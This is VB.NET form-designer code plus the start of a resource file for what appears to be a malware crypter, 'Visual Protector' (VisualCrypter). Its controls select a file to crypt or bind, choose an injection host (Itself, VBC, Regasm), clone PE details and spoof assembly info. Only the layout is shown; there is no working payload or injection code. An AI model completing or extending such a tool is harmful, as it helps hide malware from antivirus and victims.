Me.VsRadiobutton3.Text = "Regasm"
Me.VsRadiobutton3.Transparent = False
'
'VsRadiobutton2
'
Me.VsRadiobutton2.Checked = False
Me.VsRadiobutton2.Customization = "/////5mZmf/MegD/"
Me.VsRadiobutton2.Font = New System.Drawing.Font("Verdana", 8.0!)
Me.VsRadiobutton2.Image = Nothing
Me.VsRadiobutton2.Location = New System.Drawing.Point(132, 23)
Me.VsRadiobutton2.Name = "VsRadiobutton2"
Me.VsRadiobutton2.NoRounding = False
Me.VsRadiobutton2.Size = New System.Drawing.Size(46, 16)
Me.VsRadiobutton2.TabIndex = 1
Me.VsRadiobutton2.Text = "VBC"
Me.VsRadiobutton2.Transparent = False
'
'VsRadiobutton1
'
Me.VsRadiobutton1.Checked = True
Me.VsRadiobutton1.Customization = "/////5mZmf/MegD/"
Me.VsRadiobutton1.Font = New System.Drawing.Font("Verdana", 8.0!)
Me.VsRadiobutton1.Image = Nothing
Me.VsRadiobutton1.Location = New System.Drawing.Point(19, 23)
Me.VsRadiobutton1.Name = "VsRadiobutton1"
Me.VsRadiobutton1.NoRounding = False
Me.VsRadiobutton1.Size = New System.Drawing.Size(52, 16)
Me.VsRadiobutton1.TabIndex = 0
Me.VsRadiobutton1.Text = "Itself"
Me.VsRadiobutton1.Transparent = False
'
'VsGroupBox2
'
Me.VsGroupBox2.BorderStyle = System.Windows.Forms.FormBorderStyle.None
Me.VsGroupBox2.Controls.Add(Me.VsButton7)
Me.VsGroupBox2.Controls.Add(Me.VsButton5)
Me.VsGroupBox2.Controls.Add(Me.Label6)
Me.VsGroupBox2.Controls.Add(Me.Label7)
Me.VsGroupBox2.Controls.Add(Me.Label8)
Me.VsGroupBox2.Controls.Add(Me.Label9)
Me.VsGroupBox2.Controls.Add(Me.Label10)
Me.VsGroupBox2.Controls.Add(Me.VsTextBox9)
Me.VsGroupBox2.Controls.Add(Me.VsTextBox8)
Me.VsGroupBox2.Controls.Add(Me.VsTextBox7)
Me.VsGroupBox2.Controls.Add(Me.VsTextBox6)
Me.VsGroupBox2.Controls.Add(Me.VsTextBox5)
Me.VsGroupBox2.Controls.Add(Me.Label5)
Me.VsGroupBox2.Controls.Add(Me.Label4)
Me.VsGroupBox2.Controls.Add(Me.Label3)
Me.VsGroupBox2.Controls.Add(Me.Label2)
Me.VsGroupBox2.Controls.Add(Me.Label1)
Me.VsGroupBox2.Controls.Add(Me.VsButton4)
Me.VsGroupBox2.Controls.Add(Me.VsTextBox4)
Me.VsGroupBox2.Controls.Add(Me.PictureBox1)
Me.VsGroupBox2.Customization = "NzMz//////8="
Me.VsGroupBox2.Font = New System.Drawing.Font("Verdana", 8.0!)
Me.VsGroupBox2.Image = Nothing
Me.VsGroupBox2.Location = New System.Drawing.Point(345, 40)
Me.VsGroupBox2.Movable = True
Me.VsGroupBox2.Name = "VsGroupBox2"
Me.VsGroupBox2.NoRounding = False
Me.VsGroupBox2.Sizable = True
Me.VsGroupBox2.Size = New System.Drawing.Size(313, 251)
Me.VsGroupBox2.SmartBounds = True
Me.VsGroupBox2.StartPosition = System.Windows.Forms.FormStartPosition.Manual
Me.VsGroupBox2.TabIndex = 2
Me.VsGroupBox2.Text = "Assembly Info :"
Me.VsGroupBox2.TransparencyKey = System.Drawing.Color.Empty
Me.VsGroupBox2.Transparent = False
'
'VsButton7
'
Me.VsButton7.Customization = "Qj4+/zQzM///////mZmZ/8xwAP8="
Me.VsButton7.Font = New System.Drawing.Font("Verdana", 8.0!)
Me.VsButton7.Image = Nothing
Me.VsButton7.Location = New System.Drawing.Point(64, 216)
Me.VsButton7.Name = "VsButton7"
Me.VsButton7.NoRounding = False
Me.VsButton7.Size = New System.Drawing.Size(95, 25)
Me.VsButton7.TabIndex = 23
Me.VsButton7.Text = "Clone PE"
Me.VsButton7.Transparent = False
'
'VsButton5
'
Me.VsButton5.Customization = "Qj4+/zQzM///////mZmZ/8xwAP8="
Me.VsButton5.Font = New System.Drawing.Font("Verdana", 8.0!)
Me.VsButton5.Image = Nothing
Me.VsButton5.Location = New System.Drawing.Point(194, 216)
Me.VsButton5.Name = "VsButton5"
Me.VsButton5.NoRounding = False
Me.VsButton5.Size = New System.Drawing.Size(90, 25)
Me.VsButton5.TabIndex = 22
Me.VsButton5.Text = "Reset"
Me.VsButton5.Transparent = False
'
'Label6
'
Me.Label6.AutoSize = True
Me.Label6.ForeColor = System.Drawing.Color.White
Me.Label6.Location = New System.Drawing.Point(123, 186)
Me.Label6.Name = "Label6"
Me.Label6.Size = New System.Drawing.Size(12, 13)
Me.Label6.TabIndex = 21
Me.Label6.Text = ":"
'
'Label7
'
Me.Label7.AutoSize = True
Me.Label7.ForeColor = System.Drawing.Color.White
Me.Label7.Location = New System.Drawing.Point(123, 156)
Me.Label7.Name = "Label7"
Me.Label7.Size = New System.Drawing.Size(12, 13)
Me.Label7.TabIndex = 20
Me.Label7.Text = ":"
'
'Label8
'
Me.Label8.AutoSize = True
Me.Label8.ForeColor = System.Drawing.Color.White
Me.Label8.Location = New System.Drawing.Point(123, 127)
Me.Label8.Name = "Label8"
Me.Label8.Size = New System.Drawing.Size(12, 13)
Me.Label8.TabIndex = 19
Me.Label8.Text = ":"
'
'Label9
'
Me.Label9.AutoSize = True
Me.Label9.ForeColor = System.Drawing.Color.White
Me.Label9.Location = New System.Drawing.Point(123, 98)
Me.Label9.Name = "Label9"
Me.Label9.Size = New System.Drawing.Size(12, 13)
Me.Label9.TabIndex = 18
Me.Label9.Text = ":"
'
'Label10
'
Me.Label10.AutoSize = True
Me.Label10.ForeColor = System.Drawing.Color.White
Me.Label10.Location = New System.Drawing.Point(123, 69)
Me.Label10.Name = "Label10"
Me.Label10.Size = New System.Drawing.Size(12, 13)
Me.Label10.TabIndex = 17
Me.Label10.Text = ":"
'
'VsTextBox9
'
Me.VsTextBox9.Customization = "/////0Y/P/8AAAD/Wlpa/w=="
Me.VsTextBox9.Font = New System.Drawing.Font("Verdana", 8.0!)
Me.VsTextBox9.Image = Nothing
Me.VsTextBox9.Location = New System.Drawing.Point(136, 181)
Me.VsTextBox9.MaxLength = 32767
Me.VsTextBox9.Multiline = False
Me.VsTextBox9.Name = "VsTextBox9"
Me.VsTextBox9.NoRounding = False
Me.VsTextBox9.ReadOnly = False
Me.VsTextBox9.Size = New System.Drawing.Size(162, 24)
Me.VsTextBox9.TabIndex = 13
Me.VsTextBox9.TextAlign = System.Windows.Forms.HorizontalAlignment.Left
Me.VsTextBox9.Transparent = False
Me.VsTextBox9.UseSystemPasswordChar = False
'
'VsTextBox8
'
Me.VsTextBox8.Customization = "/////0Y/P/8AAAD/Wlpa/w=="
Me.VsTextBox8.Font = New System.Drawing.Font("Verdana", 8.0!)
Me.VsTextBox8.Image = Nothing
Me.VsTextBox8.Location = New System.Drawing.Point(136, 151)
Me.VsTextBox8.MaxLength = 32767
Me.VsTextBox8.Multiline = False
Me.VsTextBox8.Name = "VsTextBox8"
Me.VsTextBox8.NoRounding = False
Me.VsTextBox8.ReadOnly = False
Me.VsTextBox8.Size = New System.Drawing.Size(162, 24)
Me.VsTextBox8.TabIndex = 12
Me.VsTextBox8.Text = " "
Me.VsTextBox8.TextAlign = System.Windows.Forms.HorizontalAlignment.Left
Me.VsTextBox8.Transparent = False
Me.VsTextBox8.UseSystemPasswordChar = False
'
'VsTextBox7
'
Me.VsTextBox7.Customization = "/////0Y/P/8AAAD/Wlpa/w=="
Me.VsTextBox7.Font = New System.Drawing.Font("Verdana", 8.0!)
Me.VsTextBox7.Image = Nothing
Me.VsTextBox7.Location = New System.Drawing.Point(136, 122)
Me.VsTextBox7.MaxLength = 32767
Me.VsTextBox7.Multiline = False
Me.VsTextBox7.Name = "VsTextBox7"
Me.VsTextBox7.NoRounding = False
Me.VsTextBox7.ReadOnly = False
Me.VsTextBox7.Size = New System.Drawing.Size(162, 24)
Me.VsTextBox7.TabIndex = 11
Me.VsTextBox7.Text = " "
Me.VsTextBox7.TextAlign = System.Windows.Forms.HorizontalAlignment.Left
Me.VsTextBox7.Transparent = False
Me.VsTextBox7.UseSystemPasswordChar = False
'
'VsTextBox6
'
Me.VsTextBox6.Customization = "/////0Y/P/8AAAD/Wlpa/w=="
Me.VsTextBox6.Font = New System.Drawing.Font("Verdana", 8.0!)
Me.VsTextBox6.Image = Nothing
Me.VsTextBox6.Location = New System.Drawing.Point(136, 93)
Me.VsTextBox6.MaxLength = 32767
Me.VsTextBox6.Multiline = False
Me.VsTextBox6.Name = "VsTextBox6"
Me.VsTextBox6.NoRounding = False
Me.VsTextBox6.ReadOnly = False
Me.VsTextBox6.Size = New System.Drawing.Size(162, 24)
Me.VsTextBox6.TabIndex = 10
Me.VsTextBox6.Text = " "
Me.VsTextBox6.TextAlign = System.Windows.Forms.HorizontalAlignment.Left
Me.VsTextBox6.Transparent = False
Me.VsTextBox6.UseSystemPasswordChar = False
'
'VsTextBox5
'
Me.VsTextBox5.Customization = "/////0Y/P/8AAAD/Wlpa/w=="
Me.VsTextBox5.Font = New System.Drawing.Font("Verdana", 8.0!)
Me.VsTextBox5.Image = Nothing
Me.VsTextBox5.Location = New System.Drawing.Point(136, 64)
Me.VsTextBox5.MaxLength = 32767
Me.VsTextBox5.Multiline = False
Me.VsTextBox5.Name = "VsTextBox5"
Me.VsTextBox5.NoRounding = False
Me.VsTextBox5.ReadOnly = False
Me.VsTextBox5.Size = New System.Drawing.Size(162, 24)
Me.VsTextBox5.TabIndex = 9
Me.VsTextBox5.Text = " "
Me.VsTextBox5.TextAlign = System.Windows.Forms.HorizontalAlignment.Left
Me.VsTextBox5.Transparent = False
Me.VsTextBox5.UseSystemPasswordChar = False
'
'Label5
'
Me.Label5.AutoSize = True
Me.Label5.Font = New System.Drawing.Font("Verdana", 8.5!)
Me.Label5.ForeColor = System.Drawing.Color.White
Me.Label5.Location = New System.Drawing.Point(47, 186)
Me.Label5.Name = "Label5"
Me.Label5.Size = New System.Drawing.Size(54, 14)
Me.Label5.TabIndex = 8
Me.Label5.Text = "Version"
'
'Label4
'
Me.Label4.AutoSize = True
Me.Label4.Font = New System.Drawing.Font("Verdana", 8.5!)
Me.Label4.ForeColor = System.Drawing.Color.White
Me.Label4.Location = New System.Drawing.Point(47, 157)
Me.Label4.Name = "Label4"
Me.Label4.Size = New System.Drawing.Size(68, 14)
Me.Label4.TabIndex = 7
Me.Label4.Text = "Copyright"
'
'Label3
'
Me.Label3.AutoSize = True
Me.Label3.Font = New System.Drawing.Font("Verdana", 8.5!)
Me.Label3.ForeColor = System.Drawing.Color.White
Me.Label3.Location = New System.Drawing.Point(47, 128)
Me.Label3.Name = "Label3"
Me.Label3.Size = New System.Drawing.Size(66, 14)
Me.Label3.TabIndex = 6
Me.Label3.Text = "Company"
'
'Label2
'
Me.Label2.AutoSize = True
Me.Label2.Font = New System.Drawing.Font("Verdana", 8.5!)
Me.Label2.ForeColor = System.Drawing.Color.White
Me.Label2.Location = New System.Drawing.Point(47, 99)
Me.Label2.Name = "Label2"
Me.Label2.Size = New System.Drawing.Size(77, 14)
Me.Label2.TabIndex = 5
Me.Label2.Text = "Description"
'
'Label1
'
Me.Label1.AutoSize = True
Me.Label1.Font = New System.Drawing.Font("Verdana", 8.5!)
Me.Label1.ForeColor = System.Drawing.Color.White
Me.Label1.Location = New System.Drawing.Point(47, 70)
Me.Label1.Name = "Label1"
Me.Label1.Size = New System.Drawing.Size(33, 14)
Me.Label1.TabIndex = 4
Me.Label1.Text = "Title"
'
'VsButton4
'
Me.VsButton4.Customization = "Qj4+/zQzM///////mZmZ/8xwAP8="
Me.VsButton4.Font = New System.Drawing.Font("Verdana", 8.0!)
Me.VsButton4.Image = Nothing
Me.VsButton4.Location = New System.Drawing.Point(251, 26)
Me.VsButton4.Name = "VsButton4"
Me.VsButton4.NoRounding = False
Me.VsButton4.Size = New System.Drawing.Size(50, 23)
Me.VsButton4.TabIndex = 3
Me.VsButton4.Text = "*.Ico"
Me.VsButton4.Transparent = False
'
'VsTextBox4
'
Me.VsTextBox4.Customization = "/////0Y/P/8AAAD/Wlpa/w=="
Me.VsTextBox4.Font = New System.Drawing.Font("Verdana", 8.0!)
Me.VsTextBox4.Image = Nothing
Me.VsTextBox4.Location = New System.Drawing.Point(59, 26)
Me.VsTextBox4.MaxLength = 32767
Me.VsTextBox4.Multiline = False
Me.VsTextBox4.Name = "VsTextBox4"
Me.VsTextBox4.NoRounding = False
Me.VsTextBox4.ReadOnly = False
Me.VsTextBox4.Size = New System.Drawing.Size(185, 24)
Me.VsTextBox4.TabIndex = 2
Me.VsTextBox4.Text = "Browse Icon to Use"
Me.VsTextBox4.TextAlign = System.Windows.Forms.HorizontalAlignment.Left
Me.VsTextBox4.Transparent = False
Me.VsTextBox4.UseSystemPasswordChar = False
'
'PictureBox1
'
Me.PictureBox1.Location = New System.Drawing.Point(14, 22)
Me.PictureBox1.Name = "PictureBox1"
Me.PictureBox1.Size = New System.Drawing.Size(35, 30)
Me.PictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage
Me.PictureBox1.TabIndex = 0
Me.PictureBox1.TabStop = False
'
'VsGroupBox1
'
Me.VsGroupBox1.BorderStyle = System.Windows.Forms.FormBorderStyle.None
Me.VsGroupBox1.Controls.Add(Me.VsButton3)
Me.VsGroupBox1.Controls.Add(Me.VsTextBox3)
Me.VsGroupBox1.Controls.Add(Me.VsButton2)
Me.VsGroupBox1.Controls.Add(Me.VsTextBox2)
Me.VsGroupBox1.Controls.Add(Me.VsButton1)
Me.VsGroupBox1.Controls.Add(Me.VsTextBox1)
Me.VsGroupBox1.Customization = "NzMz//////8="
Me.VsGroupBox1.Font = New System.Drawing.Font("Verdana", 8.0!)
Me.VsGroupBox1.Image = Nothing
Me.VsGroupBox1.Location = New System.Drawing.Point(14, 40)
Me.VsGroupBox1.Movable = True
Me.VsGroupBox1.Name = "VsGroupBox1"
Me.VsGroupBox1.NoRounding = False
Me.VsGroupBox1.Sizable = True
Me.VsGroupBox1.Size = New System.Drawing.Size(325, 118)
Me.VsGroupBox1.SmartBounds = True
Me.VsGroupBox1.StartPosition = System.Windows.Forms.FormStartPosition.Manual
Me.VsGroupBox1.TabIndex = 1
Me.VsGroupBox1.Text = "Main :"
Me.VsGroupBox1.TransparencyKey = System.Drawing.Color.Empty
Me.VsGroupBox1.Transparent = False
'
'VsButton3
'
Me.VsButton3.Customization = "Qj4+/zQzM///////mZmZ/8xwAP8="
Me.VsButton3.Font = New System.Drawing.Font("Verdana", 8.0!)
Me.VsButton3.Image = Nothing
Me.VsButton3.Location = New System.Drawing.Point(251, 84)
Me.VsButton3.Name = "VsButton3"
Me.VsButton3.NoRounding = False
Me.VsButton3.Size = New System.Drawing.Size(65, 23)
Me.VsButton3.TabIndex = 5
Me.VsButton3.Text = "*.*"
Me.VsButton3.Transparent = False
'
'VsTextBox3
'
Me.VsTextBox3.Customization = "/////0Y/P/8AAAD/Wlpa/w=="
Me.VsTextBox3.Enabled = False
Me.VsTextBox3.Font = New System.Drawing.Font("Verdana", 8.0!)
Me.VsTextBox3.Image = Nothing
Me.VsTextBox3.Location = New System.Drawing.Point(11, 83)
Me.VsTextBox3.MaxLength = 32767
Me.VsTextBox3.Multiline = False
Me.VsTextBox3.Name = "VsTextBox3"
Me.VsTextBox3.NoRounding = False
Me.VsTextBox3.ReadOnly = False
Me.VsTextBox3.Size = New System.Drawing.Size(228, 24)
Me.VsTextBox3.TabIndex = 4
Me.VsTextBox3.Text = "Browse File to Bind"
Me.VsTextBox3.TextAlign = System.Windows.Forms.HorizontalAlignment.Left
Me.VsTextBox3.Transparent = False
Me.VsTextBox3.UseSystemPasswordChar = False
'
'VsButton2
'
Me.VsButton2.Customization = "Qj4+/zQzM///////mZmZ/8xwAP8="
Me.VsButton2.Font = New System.Drawing.Font("Verdana", 8.0!)
Me.VsButton2.Image = Nothing
Me.VsButton2.Location = New System.Drawing.Point(251, 53)
Me.VsButton2.Name = "VsButton2"
Me.VsButton2.NoRounding = False
Me.VsButton2.Size = New System.Drawing.Size(65, 23)
Me.VsButton2.TabIndex = 3
Me.VsButton2.Text = "Genrate"
Me.VsButton2.Transparent = False
'
'VsTextBox2
'
Me.VsTextBox2.Customization = "/////0Y/P/8AAAD/Wlpa/w=="
Me.VsTextBox2.Font = New System.Drawing.Font("Verdana", 8.0!)
Me.VsTextBox2.Image = Nothing
Me.VsTextBox2.Location = New System.Drawing.Point(11, 52)
Me.VsTextBox2.MaxLength = 32767
Me.VsTextBox2.Multiline = False
Me.VsTextBox2.Name = "VsTextBox2"
Me.VsTextBox2.NoRounding = False
Me.VsTextBox2.ReadOnly = False
Me.VsTextBox2.Size = New System.Drawing.Size(228, 24)
Me.VsTextBox2.TabIndex = 2
Me.VsTextBox2.Text = "Generate Unique Key"
Me.VsTextBox2.TextAlign = System.Windows.Forms.HorizontalAlignment.Left
Me.VsTextBox2.Transparent = False
Me.VsTextBox2.UseSystemPasswordChar = False
'
'VsButton1
'
Me.VsButton1.Customization = "Qj4+/zQzM///////mZmZ/8xwAP8="
Me.VsButton1.Font = New System.Drawing.Font("Verdana", 8.0!)
Me.VsButton1.Image = Nothing
Me.VsButton1.Location = New System.Drawing.Point(251, 22)
Me.VsButton1.Name = "VsButton1"
Me.VsButton1.NoRounding = False
Me.VsButton1.Size = New System.Drawing.Size(65, 23)
Me.VsButton1.TabIndex = 1
Me.VsButton1.Text = "*.Exe"
Me.VsButton1.Transparent = False
'
'VsTextBox1
'
Me.VsTextBox1.Customization = "/////0Y/P/8AAAD/Wlpa/w=="
Me.VsTextBox1.Font = New System.Drawing.Font("Verdana", 8.0!)
Me.VsTextBox1.Image = Nothing
Me.VsTextBox1.Location = New System.Drawing.Point(11, 21)
Me.VsTextBox1.MaxLength = 32767
Me.VsTextBox1.Multiline = False
Me.VsTextBox1.Name = "VsTextBox1"
Me.VsTextBox1.NoRounding = False
Me.VsTextBox1.ReadOnly = False
Me.VsTextBox1.Size = New System.Drawing.Size(228, 24)
Me.VsTextBox1.TabIndex = 0
Me.VsTextBox1.Text = "Browse File To Crypt"
Me.VsTextBox1.TextAlign = System.Windows.Forms.HorizontalAlignment.Left
Me.VsTextBox1.Transparent = False
Me.VsTextBox1.UseSystemPasswordChar = False
'
'VsControlBox1
'
Me.VsControlBox1.Anchor = CType((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles)
Me.VsControlBox1.Customization = "8PDw//Dw8P8wLS3/8PDw/w=="
Me.VsControlBox1.Font = New System.Drawing.Font("Verdana", 8.0!)
Me.VsControlBox1.Image = Nothing
Me.VsControlBox1.Location = New System.Drawing.Point(617, 7)
Me.VsControlBox1.Name = "VsControlBox1"
Me.VsControlBox1.NoRounding = False
Me.VsControlBox1.Size = New System.Drawing.Size(44, 18)
Me.VsControlBox1.TabIndex = 0
Me.VsControlBox1.Text = "VsControlBox1"
Me.VsControlBox1.Transparent = False
'
'Index
'
Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
Me.ClientSize = New System.Drawing.Size(672, 358)
Me.Controls.Add(Me.Theme1)
Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None
Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
Me.Name = "Index"
Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen
Me.Text = "Visual Protector 0.2(Beta)"
Me.Theme1.ResumeLayout(False)
Me.VsGroupBox4.ResumeLayout(False)
Me.VsGroupBox3.ResumeLayout(False)
Me.VsGroupBox2.ResumeLayout(False)
Me.VsGroupBox2.PerformLayout()
CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).EndInit()
Me.VsGroupBox1.ResumeLayout(False)
Me.ResumeLayout(False)
End Sub
Friend WithEvents Theme1 As VisualCrypter.Theme
Friend WithEvents VsGroupBox1 As VisualCrypter.VSGroupBox
Friend WithEvents VsButton3 As VisualCrypter.VSButton
Friend WithEvents VsTextBox3 As VisualCrypter.VSTextBox
Friend WithEvents VsButton2 As VisualCrypter.VSButton
Friend WithEvents VsTextBox2 As VisualCrypter.VSTextBox
Friend WithEvents VsButton1 As VisualCrypter.VSButton
Friend WithEvents VsTextBox1 As VisualCrypter.VSTextBox
Friend WithEvents VsControlBox1 As VisualCrypter.VSControlBox
Friend WithEvents VsGroupBox2 As VisualCrypter.VSGroupBox
Friend WithEvents VsButton4 As VisualCrypter.VSButton
Friend WithEvents VsTextBox4 As VisualCrypter.VSTextBox
Friend WithEvents PictureBox1 As System.Windows.Forms.PictureBox
Friend WithEvents Label1 As System.Windows.Forms.Label
Friend WithEvents Label2 As System.Windows.Forms.Label
Friend WithEvents Label3 As System.Windows.Forms.Label
Friend WithEvents Label4 As System.Windows.Forms.Label
Friend WithEvents VsTextBox9 As VisualCrypter.VSTextBox
Friend WithEvents VsTextBox8 As VisualCrypter.VSTextBox
Friend WithEvents VsTextBox7 As VisualCrypter.VSTextBox
Friend WithEvents VsTextBox6 As VisualCrypter.VSTextBox
Friend WithEvents VsTextBox5 As VisualCrypter.VSTextBox
Friend WithEvents Label5 As System.Windows.Forms.Label
Friend WithEvents VsButton5 As VisualCrypter.VSButton
Friend WithEvents Label6 As System.Windows.Forms.Label
Friend WithEvents Label7 As System.Windows.Forms.Label
Friend WithEvents Label8 As System.Windows.Forms.Label
Friend WithEvents Label9 As System.Windows.Forms.Label
Friend WithEvents Label10 As System.Windows.Forms.Label
Friend WithEvents VsGroupBox4 As VisualCrypter.VSGroupBox
Friend WithEvents VsTextBox13 As VisualCrypter.VSTextBox
Friend WithEvents VsCheckbox1 As VisualCrypter.VSCheckbox
Friend WithEvents VsGroupBox3 As VisualCrypter.VSGroupBox
Friend WithEvents VsRadiobutton3 As VisualCrypter.VSRadiobutton
Friend WithEvents VsRadiobutton2 As VisualCrypter.VSRadiobutton
Friend WithEvents VsRadiobutton1 As VisualCrypter.VSRadiobutton
Friend WithEvents VsButton6 As VisualCrypter.VSButton
Friend WithEvents VsButton7 As VisualCrypter.VSButton
End Class
@@ -0,0 +1,700 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Drawing" name="System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
AAABAAUAQEAAAAEAIAAoQgAAVgAAADAwAAABACAAqCUAAH5CAAAgIAAAAQAgAKgQAAAmaAAAGBgAAAEA
IACICQAAzngAABAQAAABACAAaAQAAFaCAAAoAAAAQAAAAIAAAAABACAAAAAAAABCAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAQAA
AAIAAAADAAAAAwAAAAQAAAAEAAAABQAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAAAwAA
AAMAAAADAAAAAwAAAAIAAAABAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAQAA
AAEAAAACAAAAAgAAAAMAAAAFAAAABgAAAAcAAAAIAAAACQAAAAoAAAAJAAAACQAAAAkAAAAIAAAACAAA
AAgAAAAIAAAACAAAAAgAAAAHAAAABwAAAAYAAAAEAAAAAwAAAAIAAAABAAAAAQAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAA
AAIAAAACAAAAAgAAAAMAAAAEAAAABQAAAAYAAAAHAAAACQAAAAsAAAANAAAADwAAABAAAAARAAAAEQAA
ABEAAAAQAAAAEAAAAA8AAAAPAAAADwAAAA8AAAAOAAAADgAAAA0AAAALAAAACQAAAAcAAAAFAAAAAwAA
AAIAAAACAAAAAQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
